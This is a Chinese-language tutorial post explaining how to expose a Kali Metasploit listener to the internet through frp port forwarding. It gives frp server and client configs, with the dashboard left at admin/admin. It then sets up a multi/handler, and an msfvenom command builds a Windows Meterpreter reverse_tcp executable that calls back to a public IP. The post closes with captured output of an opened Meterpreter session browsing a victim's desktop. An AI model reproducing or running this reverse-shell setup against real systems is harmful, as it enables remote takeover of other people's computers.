溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

內(nèi)網(wǎng)Metasploit映射到外網(wǎng)的方法是什么

發(fā)布時(shí)間:2022-10-19 14:09:35 來源:億速云 閱讀:129 作者:iii 欄目:大數(shù)據(jù)

這篇文章主要講解了“內(nèi)網(wǎng)Metasploit映射到外網(wǎng)的方法是什么”,文中的講解內(nèi)容簡(jiǎn)單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“內(nèi)網(wǎng)Metasploit映射到外網(wǎng)的方法是什么”吧!

下載frp

找到最新的releases下載,系統(tǒng)版本自行確認(rèn)。

下載方法:

wget https://github.com/fatedier/frp/releases/download/v0.16.1/frp_0.16.1_linux_amd64.tar.gz
tar zxvf frp_0.16.1_linux_amd64.tar.gz 
cd frp_0.16.1_linux_amd64

公網(wǎng)服務(wù)器配置:

修改配置文件:

[yuyongxr@instance-2 frp_0.16.1_linux_amd64]$ vim frps.ini 
[common]
bind_port = 7000
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin

啟動(dòng)服務(wù):

[yuyongxr@instance-2 frp_0.16.1_linux_amd64]$ nohup ./frps -c frps.ini > log.txt &

kali linux 配置:

修改配置文件:

kali@kali:~/frp_0.16.1_linux_amd64$ vim frpc.ini 
[common]
server_addr = xx.xx.xx.xx
server_port = 7000

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 6666
remote_port = 4446

啟動(dòng)服務(wù):

kali@kali:~/frp_0.16.1_linux_amd64$ nohup ./frpc -c frpc.ini > log.txt &

metasploit配置:

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 6666
lport => 6666

生成payload文件:

e2a5e@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=34.80.29.48 lport=4446 -f exe -o test.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: test.exe

執(zhí)行payload文件,測(cè)試效果:

msf5 exploit(multi/handler) > exploit 

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:6666 
[*] Sending stage (206403 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:6666 -> 127.0.0.1:35992) at 2019-09-03 17:05:39 +0800

meterpreter > ls
Listing: C:\Users\win7\Desktop
==============================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  2309      fil   2019-08-30 11:12:41 +0800  Google Chrome.lnk
100777/rwxrwxrwx  10916080  fil   2019-08-30 11:57:01 +0800  PCHunter64.exe
40777/rwxrwxrwx   0         dir   2019-09-03 16:12:02 +0800  PanDownload
100666/rw-rw-rw-  282       fil   2018-09-11 09:18:55 +0800  desktop.ini
100777/rwxrwxrwx  7168      fil   2019-09-03 16:39:18 +0800  test.exe

meterpreter >

感謝各位的閱讀,以上就是“內(nèi)網(wǎng)Metasploit映射到外網(wǎng)的方法是什么”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對(duì)內(nèi)網(wǎng)Metasploit映射到外網(wǎng)的方法是什么這一問題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是億速云,小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI